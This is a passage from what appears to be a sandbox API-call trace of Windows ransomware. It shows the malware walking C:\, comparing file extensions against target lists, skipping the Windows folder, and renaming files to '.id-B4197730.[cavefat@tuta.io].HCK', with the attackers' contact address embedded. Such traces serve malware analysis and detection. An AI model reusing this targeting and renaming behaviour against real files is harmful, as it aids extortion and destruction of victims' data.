shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.268] lstrlenW (lpString=".doc") returned 4 [0150.268] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0150.268] lstrlenW (lpString=".docx") returned 5 [0150.268] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0150.268] lstrlenW (lpString=".pdf") returned 4 [0150.268] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0150.268] lstrlenW (lpString=".xls") returned 4 [0150.268] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0150.268] lstrlenW (lpString=".xlsx") returned 5 [0150.268] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0150.268] lstrlenW (lpString=".ppt") returned 4 [0150.268] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0150.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.268] lstrlenW (lpString=".zip") returned 4 [0150.268] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0150.268] lstrlenW (lpString=".rar") returned 4 [0150.268] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0150.268] lstrlenW (lpString=".bz2") returned 4 [0150.268] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0150.268] lstrlenW (lpString=".7z") returned 3 [0150.268] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0150.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.268] lstrlenW (lpString=".dbf") returned 4 [0150.268] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0150.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.268] lstrlenW (lpString=".1cd") returned 4 [0150.268] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0150.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0150.268] lstrlenW (lpString=".jpg") returned 4 [0150.268] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0150.268] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0150.268] lstrlenW (lpString="boxed-join.avi") returned 14 [0150.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.269] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=46622) returned 1 [0150.269] CloseHandle (hObject=0x2f4) returned 1 [0150.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0150.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.270] lstrlenW (lpString=".doc") returned 4 [0150.270] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString=".docx") returned 5 [0150.270] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0150.270] lstrlenW (lpString=".pdf") returned 4 [0150.270] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString=".xls") returned 4 [0150.270] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString=".xlsx") returned 5 [0150.270] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0150.270] lstrlenW (lpString=".ppt") returned 4 [0150.270] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.270] lstrlenW (lpString=".zip") returned 4 [0150.270] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString=".rar") returned 4 [0150.270] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString=".bz2") returned 4 [0150.270] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString=".7z") returned 3 [0150.270] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0150.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.270] lstrlenW (lpString=".dbf") returned 4 [0150.270] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.270] lstrlenW (lpString=".1cd") returned 4 [0150.270] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0150.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.270] lstrlenW (lpString=".jpg") returned 4 [0150.270] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.270] lstrlenW (lpString=".doc") returned 4 [0150.270] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString=".docx") returned 5 [0150.270] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0150.270] lstrlenW (lpString=".pdf") returned 4 [0150.270] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString=".xls") returned 4 [0150.270] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0150.270] lstrlenW (lpString=".xlsx") returned 5 [0150.270] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0150.270] lstrlenW (lpString=".ppt") returned 4 [0150.270] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0150.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.271] lstrlenW (lpString=".zip") returned 4 [0150.271] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0150.271] lstrlenW (lpString=".rar") returned 4 [0150.271] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0150.271] lstrlenW (lpString=".bz2") returned 4 [0150.271] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0150.271] lstrlenW (lpString=".7z") returned 3 [0150.271] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0150.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.271] lstrlenW (lpString=".dbf") returned 4 [0150.271] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0150.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.271] lstrlenW (lpString=".1cd") returned 4 [0150.271] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0150.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0150.271] lstrlenW (lpString=".jpg") returned 4 [0150.271] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0150.271] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0150.271] lstrlenW (lpString="boxed-split.avi") returned 15 [0150.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.271] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=84190) returned 1 [0150.271] CloseHandle (hObject=0x2f4) returned 1 [0150.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0150.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.272] lstrlenW (lpString=".doc") returned 4 [0150.272] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString=".docx") returned 5 [0150.272] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0150.272] lstrlenW (lpString=".pdf") returned 4 [0150.272] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString=".xls") returned 4 [0150.272] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString=".xlsx") returned 5 [0150.272] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0150.272] lstrlenW (lpString=".ppt") returned 4 [0150.272] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.272] lstrlenW (lpString=".zip") returned 4 [0150.272] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString=".rar") returned 4 [0150.272] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString=".bz2") returned 4 [0150.272] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString=".7z") returned 3 [0150.272] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0150.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.272] lstrlenW (lpString=".dbf") returned 4 [0150.272] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.272] lstrlenW (lpString=".1cd") returned 4 [0150.272] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0150.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.272] lstrlenW (lpString=".jpg") returned 4 [0150.272] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.272] lstrlenW (lpString=".doc") returned 4 [0150.272] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString=".docx") returned 5 [0150.272] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0150.272] lstrlenW (lpString=".pdf") returned 4 [0150.272] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0150.272] lstrlenW (lpString=".xls") returned 4 [0150.272] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0150.273] lstrlenW (lpString=".xlsx") returned 5 [0150.273] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0150.273] lstrlenW (lpString=".ppt") returned 4 [0150.273] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0150.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.273] lstrlenW (lpString=".zip") returned 4 [0150.273] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0150.273] lstrlenW (lpString=".rar") returned 4 [0150.273] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0150.273] lstrlenW (lpString=".bz2") returned 4 [0150.273] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0150.273] lstrlenW (lpString=".7z") returned 3 [0150.273] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0150.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.273] lstrlenW (lpString=".dbf") returned 4 [0150.273] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0150.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.273] lstrlenW (lpString=".1cd") returned 4 [0150.273] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0150.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0150.273] lstrlenW (lpString=".jpg") returned 4 [0150.273] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0150.273] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0150.273] lstrlenW (lpString="correct.avi") returned 11 [0150.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.273] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=180172) returned 1 [0150.273] CloseHandle (hObject=0x2f4) returned 1 [0150.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0150.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0150.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0150.274] lstrlenW (lpString=".doc") returned 4 [0150.274] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0150.274] lstrlenW (lpString=".docx") returned 5 [0150.274] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0150.274] lstrlenW (lpString=".pdf") returned 4 [0150.274] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0150.274] lstrlenW (lpString=".xls") returned 4 [0150.274] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0150.274] lstrlenW (lpString=".xlsx") returned 5 [0150.274] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0150.274] lstrlenW (lpString=".ppt") returned 4 [0150.274] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0150.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0150.274] lstrlenW (lpString=".zip") returned 4 [0150.274] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0150.274] lstrlenW (lpString=".rar") returned 4 [0150.274] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0150.274] lstrlenW (lpString=".bz2") returned 4 [0150.274] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0150.274] lstrlenW (lpString=".7z") returned 3 [0150.274] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0150.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0150.274] lstrlenW (lpString=".dbf") returned 4 [0150.274] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0150.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0 Thread: id = 294 os_tid = 0x1194 [0147.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x3d50930 [0147.789] lstrlenW (lpString="C:") returned 2 [0147.789] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x34cfcf8 | out: lpFindFileData=0x34cfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77520000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6cb298 [0147.789] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0147.789] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0147.789] lstrlenW (lpString="$GetCurrent") returned 11 [0147.789] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0147.789] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x3d60938 [0147.791] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0147.791] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x34cfa7c | out: lpFindFileData=0x34cfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6cadd8 [0147.791] FindNextFileW (in: hFindFile=0x6cadd8, lpFindFileData=0x34cfa7c | out: lpFindFileData=0x34cfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0147.792] FindNextFileW (in: hFindFile=0x6cadd8, lpFindFileData=0x34cfa7c | out: lpFindFileData=0x34cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0147.792] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0147.792] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0147.792] lstrlenW (lpString="Logs") returned 4 [0147.792] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0147.792] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x3d70940 [0147.792] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0147.792] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x34cf800 | out: lpFindFileData=0x34cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cb2d8 [0147.792] FindNextFileW (in: hFindFile=0x6cb2d8, lpFindFileData=0x34cf800 | out: lpFindFileData=0x34cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.792] FindNextFileW (in: hFindFile=0x6cb2d8, lpFindFileData=0x34cf800 | out: lpFindFileData=0x34cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0147.792] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0147.792] lstrlenW (lpString=".1cd") returned 4 [0147.792] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0147.792] lstrlenW (lpString=".3ds") returned 4 [0147.793] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".3fr") returned 4 [0147.793] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".3g2") returned 4 [0147.793] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".3gp") returned 4 [0147.793] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".7z") returned 3 [0147.793] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0147.793] lstrlenW (lpString=".accda") returned 6 [0147.793] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0147.793] lstrlenW (lpString=".accdb") returned 6 [0147.793] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0147.793] lstrlenW (lpString=".accdc") returned 6 [0147.793] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0147.793] lstrlenW (lpString=".accde") returned 6 [0147.793] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0147.793] lstrlenW (lpString=".accdt") returned 6 [0147.793] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0147.793] lstrlenW (lpString=".accdw") returned 6 [0147.793] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0147.793] lstrlenW (lpString=".adb") returned 4 [0147.793] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".adp") returned 4 [0147.793] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".ai") returned 3 [0147.793] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0147.793] lstrlenW (lpString=".ai3") returned 4 [0147.793] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".ai4") returned 4 [0147.793] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".ai5") returned 4 [0147.793] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".ai6") returned 4 [0147.793] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".ai7") returned 4 [0147.793] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".ai8") returned 4 [0147.793] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".anim") returned 5 [0147.793] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0147.793] lstrlenW (lpString=".arw") returned 4 [0147.793] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".as") returned 3 [0147.793] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0147.793] lstrlenW (lpString=".asa") returned 4 [0147.793] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".asc") returned 4 [0147.793] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".ascx") returned 5 [0147.793] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0147.793] lstrlenW (lpString=".asm") returned 4 [0147.793] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0147.793] lstrlenW (lpString=".asmx") returned 5 [0147.794] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0147.794] lstrlenW (lpString=".asp") returned 4 [0147.794] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".aspx") returned 5 [0147.794] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0147.794] lstrlenW (lpString=".asr") returned 4 [0147.794] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".asx") returned 4 [0147.794] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".avi") returned 4 [0147.794] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0147.794] lstrlenW (lpString=".avs") returned 4 [0147.794] 